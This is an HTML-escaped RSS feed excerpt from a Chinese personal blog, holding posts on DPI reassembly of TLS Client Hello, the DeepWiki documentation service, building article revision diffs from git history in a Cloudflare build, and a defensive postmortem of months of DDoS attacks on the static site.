&lt;li&gt;&lt;strong&gt;升级 DPI 引擎&lt;/strong&gt;：必须支持 TCP 流重组（Reassembly），确保能够还原并解析跨包的 TLS Client Hello。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优化解析逻辑&lt;/strong&gt;：即使不重组，也可以尝试在第一个分片中尽力提取 SNI（SNI 通常靠前），但这可能容易被 Padding 混淆绕过。最稳妥的方式依然是流重组。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>论DeepWiki为什么是神！</title><link>https://2x.nz/posts/deepwiki/</link><guid isPermaLink="true">https://2x.nz/posts/deepwiki/</guid><description>你是否在Github有一些脍炙人口的开源项目？快看看有没有被DeepWiki收录！获得免费！强大！易用！实时更新的知识库！</description><pubDate>Wed, 11 Feb 2026 04:54:28 GMT</pubDate><content:encoded>&lt;h1&gt;这是什么？&lt;/h1&gt;
&lt;p&gt;在AI大道当行的时代，DeepWiki提供免费的AI用以分析全球的Github仓库，只要你的仓库有一些Star，稍微流行一些，就有可能被DeepWiki收录，并且自动通过AI大模型创建专属于你的Github仓库的强大Wiki！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/deepwiki.DC61vvaN.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;如何查看我的仓库是否被收录？&lt;/h1&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://deepwiki.com/&quot;&gt;DeepWiki | AI documentation you can talk to, for every repo&lt;/a&gt; 搜索你的 &lt;strong&gt;Github 用户名&lt;/strong&gt; 即可看到当前DeepWiki收录的你的所有仓库&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/deepwiki-1.BfhoXNVX.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;DeepWiki爬取的频率不算很高，我们可以通过在仓库README添加一串文本来声明该仓库希望DeepWiki收录，之后，按DeepWiki所说，将会每周爬取一次最新代码并生成Wiki&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[![Ask DeepWiki](https://deepwiki.com/badge.svg)](https://deepwiki.com/你的Github用户名/你的Github仓库)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/deepwiki-3.F6k2bW7f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后，若DeepWiki已经收录该仓库，你将可以看到醒目的提示&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/deepwiki-2.BWgsEwae.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;接下来...？&lt;/h1&gt;
&lt;p&gt;你可以将DeepWiki贴到你的网站，服务，App上，让用户遇到问题直接询问DeepWiki！无需再手动搭建你的知识库了！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/deepwiki-5.Cs11qJzR.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/deepwiki-4.rLnnlXIh.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;又或者，你也可以打开其他仓库的Wiki，尝试通过询问DeepWiki AI来快速上手他们！&lt;/p&gt;
</content:encoded></item><item><title>如何给你的文章上修订记录？就像维基百科那样！</title><link>https://2x.nz/posts/posts-diff/</link><guid isPermaLink="true">https://2x.nz/posts/posts-diff/</guid><description>虽然我们已经做了基于客户端的文章更新提醒，但如果读者还没来得及查看上一次改动，文章又发生了新的变化呢？这时候，就需要一套覆盖完整生命周期的文章 diff 展示方案。</description><pubDate>Wed, 11 Feb 2026 02:51:13 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;此前，我们给博客加过一个文章更新提醒功能，也就是右下角的小铃铛图标。它可以通过比较你上次访问和这次访问之间的差异，给出醒目的提示，并告诉你哪些文章发生了更新、更新了什么内容。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/posts-diff-1.CGhefp8f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但我们还想再进一步：能不能让读者直接看到每次文章更新的具体明细呢？&lt;/p&gt;
&lt;p&gt;当然可以。由于我们使用 Git 做版本控制，因此天然就能读取每一篇文章的修订历史。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(TraeAI-5) C:\Users\af\Documents\GitHub\fuwari [1:128] $ git log src/content/posts/pin.md
commit f6e3e174da195c05ef0feecca16cf79496e3374b
Author: 二叉树树 &amp;lt;acofork@qq.com&amp;gt;
Date:   Mon Feb 9 07:50:52 2026 +0800

    压缩图片

commit 7deafa112126f32e71159d824b334ec63b93fa59
Author: 二叉树树 &amp;lt;acofork@qq.com&amp;gt;
Date:   Sun Jan 25 21:43:53 2026 +0800

    fix(NewPostNotification): 修复更新检测逻辑以包含标题和描述变更

    之前仅检测内容变更和发布日期更新，现在扩展检测逻辑以包含标题、描述等元数据的变更，确保任何修改都能正确触发更新通知。

commit 75be2cc6528b9e78e1c99dce8e54696a22c6146b
Author: 二叉树树 &amp;lt;acofork@qq.com&amp;gt;
Date:   Sun Jan 25 21:37:05 2026 +0800

    fix: 为RSS请求添加缓存禁用选项以获取最新内容

    在fetch请求中设置cache: &apos;no-store&apos;，防止浏览器缓存导致无法及时获取最新的RSS内容，确保新文章通知能正确显示。

commit 702c1ca11398a44c839d8526f84e62cae4f8ee07
Author: 二叉树树 &amp;lt;acofork@qq.com&amp;gt;
Date:   Sun Jan 25 21:25:57 2026 +0800

    feat(widget): 增强新文章通知组件的交互和视觉效果

    - 为通知铃铛添加入场动画和退出逻辑，提升用户体验
    - 新增“清空通知”按钮，允许用户重置通知基准时间
    - 优化无更新和有时更新的状态显示，合并时间信息
    - 为通知点添加脉冲动画以增强视觉提示
    - 调整面板响应式布局，在小屏幕上优化底部间距

commit ddd201a7f44003c305a045b73f944ad281606dbf
Author: 二叉树树 &amp;lt;acofork@qq.com&amp;gt;
Date:   Sun Jan 25 21:02:10 2026 +0800

    style(Markdown): 为 Markdown 组件添加断词样式

    在 Markdown 容器 div 的类名中添加 `break-words` 实用类，确保长单词或 URL 在超出容器宽度时自动换行，避免破坏页面布局。

commit c507a478cd602102821915caeb5e7b81165383a2
Author: 二叉树树 &amp;lt;acofork@qq.com&amp;gt;
Date:   Sun Jan 25 20:28:34 2026 +0800

    fix(通知组件): 修复查看更新按钮点击失效问题并优化滚动条样式

    - 将 data-diff-toggle 事件委托改为直接 onclick 绑定，解决 Astro 组件重渲染时事件监听失效问题
    - 为更新列表添加 overflow-x: hidden 防止水平滚动
    - 在组件内定义自定义滚动条样式，统一各浏览器显示效果
    - 调整通知级别从 warning 改为 info 以匹配实际使用场景

commit d77c485f00c192de3bfd9f40ed75afe313d0cc1b
Author: 二叉树树 &amp;lt;acofork@qq.com&amp;gt;
Date:   Sat Jan 24 16:19:25 2026 +0800

    fix: 更新默认图片链接为本地路径

    将外部图片链接 https://t.alcy.cc/ycy 统一替换为随机图地址 https://c-p.2x.nz/h，
    包括置顶文章、记录文章和站点背景配置，确保图片资源的稳定性和一致性。

commit 29afb7adb5c91dfb0904cdccbc08b48ce73e7245
Author: 二叉树树 &amp;lt;acofork@qq.com&amp;gt;
Date:   Thu Jan 15 16:04:10 2026 +0800

    fix: 更新图片链接并移除无用脚本

    将多个页面的图片链接统一更新为新的CDN地址
    移除布局文件中不再需要的外部脚本
    更新背景图片配置为新的CDN地址
:
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因此，我们完全可以在网站构建阶段增加一道处理流程：读取 Git 提交历史，生成文章更改索引文件，再把它放进最终产物中。&lt;/p&gt;
&lt;p&gt;思路成立之后，就可以开始动手实践了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(TraeAI-5) C:\Users\af\Documents\GitHub\fuwari [0:141] $ pnpm update-diff

&amp;gt; fuwari@0.0.1 update-diff C:\Users\af\Documents\GitHub\fuwari
&amp;gt; node scripts/update-diff.js

Generating git history...
Using concurrency: 19
Processed 154/154 files...
Git history generated for 154 files.
Output saved to src/json/git-history.json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;很好，索引已经成功生成。接下来看看实际效果。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/posts-diff-2.BM4agknY.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来，再在开发环境里验证一下。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/posts-diff-3.sRAjK20T.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;结果也没有问题，接下来就可以开始做自动化了。&lt;/p&gt;
&lt;p&gt;由于我使用 Cloudflare Worker 连接 GitHub 仓库进行 CI，因此需要把生成文章 diff 的逻辑注入到构建流程中。&lt;/p&gt;
&lt;p&gt;一开始，我的想法很直接：把构建命令从 &lt;code&gt;pnpm build&lt;/code&gt; 改成 &lt;code&gt;pnpm update-diff &amp;amp;&amp;amp; pnpm build&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;但转念一想，Cloudflare Worker 在克隆仓库时默认并不带完整历史，因此自然也拿不到完整的文章 diff。&lt;/p&gt;
&lt;p&gt;那有没有“曲线救国”的办法呢？答案是有的。于是我让 ChatGPT 帮我草拟了一条稍显冗长、但确实可用的构建命令。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/afoim/fuwari temp \
&amp;amp;&amp;amp; cd temp \
&amp;amp;&amp;amp; corepack enable \
&amp;amp;&amp;amp; pnpm update-diff \
&amp;amp;&amp;amp; cd .. \
&amp;amp;&amp;amp; mkdir -p src/json \
&amp;amp;&amp;amp; mv -f temp/src/json/git-history.json src/json/git-history.json \
&amp;amp;&amp;amp; rm -rf temp \
&amp;amp;&amp;amp; pnpm build

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;仔细分析一下，这段命令的逻辑其实并不复杂。&lt;/p&gt;
&lt;p&gt;由于 Cloudflare Worker 默认克隆到的仓库没有提交历史，所以我们就额外再克隆一个带完整历史的仓库，在里面生成文章 diff 索引；随后把这个索引文件复制回 Cloudflare 自动克隆的仓库，再清理掉临时仓库，最后执行原本的构建命令。&lt;/p&gt;
&lt;p&gt;虽然看起来有点“堆命令”，网页控制台里也会出现一大段神秘脚本：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/posts-diff-4.D48ih2ra.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但它确实能稳定工作，这就已经足够了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/posts-diff-5.BaR32RoQ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最终，我们只需要专注于写文章并推送到 GitHub，Cloudflare 就会自动生成最新的文章 diff，并把它展示在生产环境中。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/posts-diff-6.HmkmdPs_.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>连着被打了4个月，来做一个彻头彻尾的复盘吧！</title><link>https://2x.nz/posts/review-ddos/</link><guid isPermaLink="true">https://2x.nz/posts/review-ddos/</guid><description>自25年11月至今，该网站被连续不断攻击了总计高达几百TiB，攻击峰值高达6.8Gbps，且攻击者从最开始的纯印度IP攻击到如今的纯中国大陆IP攻击。今天，就跟大家谈谈攻击者为什么要攻击，他们想得到什么，以及如何防范DDOS</description><pubDate>Tue, 10 Feb 2026 03:18:55 GMT</pubDate><content:encoded>&lt;h1&gt;引言&lt;/h1&gt;
&lt;p&gt;本站建站初使用 &lt;strong&gt;静态&lt;/strong&gt; 架构就是防止别有用心之人进行DDoS&lt;/p&gt;
&lt;p&gt;你想啊，一个静态网站，所有攻击流量都是打在 &lt;strong&gt;CDN的边缘节点&lt;/strong&gt; 上，也就是等于攻打 &lt;strong&gt;整个CDN厂商&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;一是很难打死，二是没必要，毕竟静态网站的背后没有源站，也不涉及利益，纯粹是白打&lt;/p&gt;
&lt;p&gt;正常来说，DDOS应该是针对单个IP的，因为正常来说，运营一个网站，肯定是需要买一台服务器，然后再在其上跑服务，最终一切准备就绪开放到公网中&lt;/p&gt;
&lt;p&gt;如果说没有高防，并且没有CDN，市面上很多的免费DDOS就可以轻松将一个IP打死&lt;/p&gt;
&lt;p&gt;但是，该网站情况非常不同，它是一个 &lt;strong&gt;由CDN直接应答的静态网站&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/review-ddos.Bv-7J3QM.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;也就是说，&lt;strong&gt;攻击该网站 = 攻击CDN&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;按往常来说，这几乎是不可能的&lt;/p&gt;
&lt;p&gt;从宏观角度来思考，CDN是用来清洗流量的，清洗恶意流量，然后放行干净流量访问源站&lt;/p&gt;
&lt;p&gt;但是如果是一个静态网站呢？&lt;/p&gt;
&lt;p&gt;它根本就没有源站，每一个请求都被视为有效请求被CDN所应答&lt;/p&gt;
&lt;p&gt;所以综上，如果有人打CDN，绝对是自讨苦吃，我也根本不需要管&lt;/p&gt;
&lt;p&gt;但，真的是这样吗？&lt;/p&gt;
&lt;p&gt;如果说攻击者的目的不是 &lt;strong&gt;打死CDN&lt;/strong&gt; 呢？&lt;/p&gt;
&lt;p&gt;那么事情就变得有趣起来了&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;第一次大规模攻击：6.65TB流量冲击&lt;/h1&gt;
&lt;p&gt;&lt;em&gt;以下记录于2025年12月16日，是本站遭受的第一次大规模DDoS攻击&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;于 &lt;strong&gt;2025年12月16号 11:13&lt;/strong&gt;，我在和我的朋友测试项目的时候，有一个知识点他忘记了，我提议他前往我的博客查看，却被告知博客访问报 &lt;strong&gt;570&lt;/strong&gt; 状态码&lt;/p&gt;
&lt;p&gt;我立即使用 https://itdog.cn 测试了我的博客网站 https://acofork.com 发现大部分节点都为 &lt;strong&gt;570&lt;/strong&gt; 状态码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/4f3b8517527460574d03479cc64655be.C5VaFUYq.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;因为当时我的网站部署在 &lt;strong&gt;EdgeOne&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;随后，我向腾讯客服求证，了解到该状态码是一个 &lt;strong&gt;单节点限频访问&lt;/strong&gt; 的状态码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/5082a73ffa31ee435c9c7894263ae4cd.BXdjrw6s.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我的朋友甚至还在调侃说：&lt;strong&gt;你网站🔥了&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ddos-6t-1.D2H5Fpf6.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是事情貌似还有一些诡异，为什么海外都是 &lt;strong&gt;200 OK&lt;/strong&gt;？&lt;/p&gt;
&lt;p&gt;我开始怀疑被打了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ddos-6t-2.CDVBg0AU.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可能玩静态久了，没有第一时间上到 &lt;strong&gt;EdgeOne&lt;/strong&gt; 查看请求数和流量，想着都是静态，谁没事打呢&lt;/p&gt;
&lt;p&gt;然后我就回家，暂时切了一下逻辑&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;之前：&lt;strong&gt;EdgeOne Pages&lt;/strong&gt; 直接提供服务，但是570&lt;/li&gt;
&lt;li&gt;现在：&lt;strong&gt;EdgeOne CDN&lt;/strong&gt; 回源 &lt;strong&gt;Cloudflare Pages&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;切完后逐步好转，虽然速度有些慢，然后我就睡觉了&lt;/p&gt;
&lt;h2&gt;真相大白&lt;/h2&gt;
&lt;p&gt;睡醒后我越想越奇怪，于是就登上了 &lt;strong&gt;EdgeOne Pages&lt;/strong&gt; 控制台，然后一看，我嘞个大雷&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2f4df8e383a1b41625ad02eb70375465.BQkgdcwQ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/50480865cd7f11d7cc4b495bcbc48038.Bzk-peTH.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/30bb8ddb905b6de8181d60ddf1b69dbe.Z9vYdSsf.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/01f15a24f395a3731010c8046cb2008c.DnRSSefI.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;随后我抱着好奇的心态想看看ESA防御咋样，没想到刚切过去阿里云就给我发消息了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/9318872dc53b38334312619b2373c81e.BeNanUXs.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;于是...&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/5b3bcf42d0e4f73fbe031699a291a5c2.CDRyz8tf.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/c4b6bdd2c39ae7585b9d3ecc5dbe9c6d.B9mE8cM2.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;依旧是熟悉的印度尼西亚&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/5a86eb051d48615259e8dcecb0fe8185.BMQaO8FX.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;那没招了，随后我于10分钟内极速 &lt;strong&gt;完全切到Cloudflare Pages&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ddos-6t-3.Cn-MbsPJ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;目前来看 &lt;strong&gt;Cloudflare Pages&lt;/strong&gt; 也挺绿的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/image_2025-12-16_08-24-54.T9jqqQnV.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后发了一个被打的B站视频，然后得知&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;我去！大手子来了！&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/Screenshot_2025-12-16-08-08-33-65_149003a2d400f6a.MqSBeY4m.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;本次攻击总结&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/d16b7b134dec1224dcfc16e59a21942f.ChWi1fMe.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/3c33b054a3180932ae87bea8bd06c3ed.Dml1cCX_.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;本站遭受了建站以来规模最大的一次DDoS攻击，总流量6.65TB，峰值瞬发1.95GB/s&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当时 &lt;strong&gt;acofork.com&lt;/strong&gt; 域名所有主要业务重定向为 &lt;strong&gt;2x.nz&lt;/strong&gt;，所有业务采用 &lt;strong&gt;Cloudflare CDN&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;作死回马枪：又切回了ESA&lt;/h1&gt;
&lt;p&gt;切到Cloudflare之后，攻击消停了一段时间，网站也恢复了正常访问&lt;/p&gt;
&lt;p&gt;但是，我心里总有个疙瘩——我都有备案域名了，不用国内CDN是不是太憋屈了？&lt;/p&gt;
&lt;p&gt;国内CDN对于国内访客来说，访问速度确实是顶级的。Cloudflare虽然防护能力强，但国内访问速度确实不如国内CDN&lt;/p&gt;
&lt;p&gt;于是，在一番纠结之后，我做了一个&quot;作死&quot;的决定——&lt;strong&gt;又把网站切回了ESA（阿里云全站加速）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;不过这次我学聪明了，配置了分流：国内访客使用国内IP访问会由ESA应答，而海外访问由CF应答。同时，我在ESA上配置了L7层的海外屏蔽——如果强制通过海外IP访问ESA，请求会被拦截&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/review-ddos-2.ChouEdLh.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当时以为这样就能兼顾速度和防护了，但事情远没有这么简单&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;持续攻击：长达四个月的攻防战&lt;/h1&gt;
&lt;h2&gt;攻击升级：国内IP攻击&lt;/h2&gt;
&lt;p&gt;在我做了分流和L7海外屏蔽的情况下，攻击者并没有放弃，而是改变了策略——&lt;strong&gt;开始使用大量的国内IP进行攻击&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;由于我们没有也根本不可能对国内访客访问国内CDN一刀切死，这种攻击几乎无法在L7层面进行有效防护&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/review-ddos-3.BonSLHx6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们可以顺便想想为什么攻击者有这么多的国内IP？真的是自己烧的钱吗？我们不妨看看大部分流量的UA（尽管它可以伪造）&lt;/p&gt;
&lt;p&gt;可以看到大部分都为BT下载器，这可能和最近的 &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2025-55182&quot;&gt;React/NextJS - NVD - CVE-2025-55182&lt;/a&gt; 以及 &lt;a href=&quot;https://mp.weixin.qq.com/s/LzkLcy92m5O24up_9c4NUA&quot;&gt;FnOS - 重要安全更新通知&lt;/a&gt; 有关。攻击者可能从公网扫描了大批未及时修复漏洞的肉鸡发起的攻击&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/review-ddos-12.BUkk7Iiz.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;不过就算大概知道了攻击手法，也不知道防范方案，所以在这几天，我们几乎处于无计可施的状态，虽然上了速率限制，但是由于攻击源IP非常多，速率限制几乎是被触发后就切IP，最终依然可以做到一天拉流几十T&lt;/p&gt;
&lt;p&gt;接着我又将国内CDN的 HTTP2 关闭，由于H2可以连接复用，而一旦不支持H2，攻击者就仅能通过H1或H1.1来刷流量，每一个HTTP连接都会占用一个原始的TCP连接，我认为这么做可以让攻击者单机拉流更困难，但是就如上文所说，攻击源IP非常多，这种做法似乎并不能牵制多久&lt;/p&gt;
&lt;p&gt;网站被攻击的时候所有人都无法打开，但我确实也已经无计可施了&lt;/p&gt;
&lt;h2&gt;攻击扩散：API也被盯上&lt;/h2&gt;
&lt;p&gt;最后，攻击者不再执着仅攻击这个静态站点了，转而去攻击其他的API，比如Umami，随机图等等&lt;/p&gt;
&lt;p&gt;不久后，EdgeOne就封掉了随机图的域名，我不得不去另寻他法来解决&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/review-ddos-4.BI7rDQ8v.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当时我暂时通过换一个子域名去规避针对于域名的封禁，但是一旦改了API域名，所有用这个API的业务都需要同步更改，这耗费了我不少的精力&lt;/p&gt;
&lt;p&gt;一想到等新一轮的攻击到来后，域名再次被攻击至封禁，接着再切域名，再改服务等等就很累&lt;/p&gt;
&lt;p&gt;群u粉丝也是说到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/Screenshot_2026-02-10-12-01-36-17_9d26c6446fd7bb8.UMQZbqXT.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;确实也是这样，尽管国内用户直连国内CDN能得到及其优异的访问，但是一旦被打，就连访问都访问不上，更别说速度了&lt;/p&gt;
&lt;h2&gt;最终方案：迁移至Cloudflare&lt;/h2&gt;
&lt;p&gt;最终，又花了小半天时间将该网站本体以及其他API全部迁移到了Cloudflare，尽管攻击者仍在持续不断的攻击，但是还不至于打死Cloudflare&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/review-ddos-5.CrRXFVql.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;疑难解答&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;至此还有非常多的内容没说，但是他们没法串在一起，就用QA的形式回答吧&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;为什么只有你被打？为什么我的网站没被打？&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;因为我是主播，被打了会有反应，很可爱&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;为什么要攻击一个静态网站？静态不是打不死吗？&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;的确，打静态网站 = 打CDN，但由于使用国内CDN，如EO/ESA，众所周知，国内的带宽非常金贵，并且EO/ESA还是免费提供服务的，防护力度自然没有国际大厂Cloudflare强力。通过上文也可知，攻击者的确可以 &lt;strong&gt;打死EO/ESA&lt;/strong&gt;，使其在一段时间无法为你的网站提供服务。另一方面，如果我们不做任何防护措施，CDN平台就可能会认为我们在滥用资源，从而封禁/清退域名，使得我们后续实行补救措施更加困难&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;不是已经做了WAF（如海外屏蔽，速率限制等）吗？难道这些规则纯摆设吗？&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;要回答这个问题，我们首先需要知道WAF本来是防什么的。正常来说，一个网站应该是，源站脆弱，由CDN拦截大部分恶意请求，仅让正常请求流入源站。就好比你的源站有高清无码大片，你就可以写个速率限制，让单IP一秒只能请求一次，这样，恶意请求就拿不到你源站热情的高清无码大片，只能拿到CDN冰冷的拦截画面。但我们是静态，没有源站，或者说源站就是CDN。所有请求，有效或无效都是直接打到&quot;源站&quot;，也就是CDN上的，哪怕我们写了海外屏蔽，写了速率限制，这些也都是L7层的，攻击者仍然可以无限制的去在L4层建立TCP连接来促使CDN拒绝来自我们站点域名的服务。除非我们能够控制CDN的L4层WAF，并且设置严格的WAF规则，直接拒绝来自攻击者的TCP握手请求，才有可能逃脱最终被打死的宿命&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;为什么要切Cloudflare？不是说攻击者打的是CDN吗，Cloudflare就不会被打死吗？&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Cloudflare曾抵御过高达 22.2Tbps 的攻击，对于攻击我们的流量来说，完全是小菜一碟，详见：https://x.com/Cloudflare/status/1970244046946759024，&lt;a href=&quot;https://blog.cloudflare.com/ddos-threat-report-2025-q3/?utm_source=chatgpt.com/&quot;&gt;Cloudflare 2025年第三季度DDoS威胁报告——包括僵尸网络的顶尖攻击者Aisuru&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;我也有网站，我要如何避免如此恐怖的DDOS攻击？&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;不让攻击者觉得打你有价值，打你好玩，你就不会被打（？）&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;所有攻击报表&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;我们是最近刚切到Cloudflare的，在此之前我们使用的是EdgeOne/ESA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Cloudflare&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/review-ddos-6.CLDRVfXJ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/review-ddos-7.DwXNECCi.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/review-ddos-8.UkCMSc3I.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/review-ddos-9.D4IvgM1a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;ESA&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/review-ddos-10.DzSKz1qg.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/review-ddos-11.CbO2BYEj.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;最终复盘&lt;/h1&gt;
&lt;p&gt;经过这四个月的攻防战，总结出以下几点：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
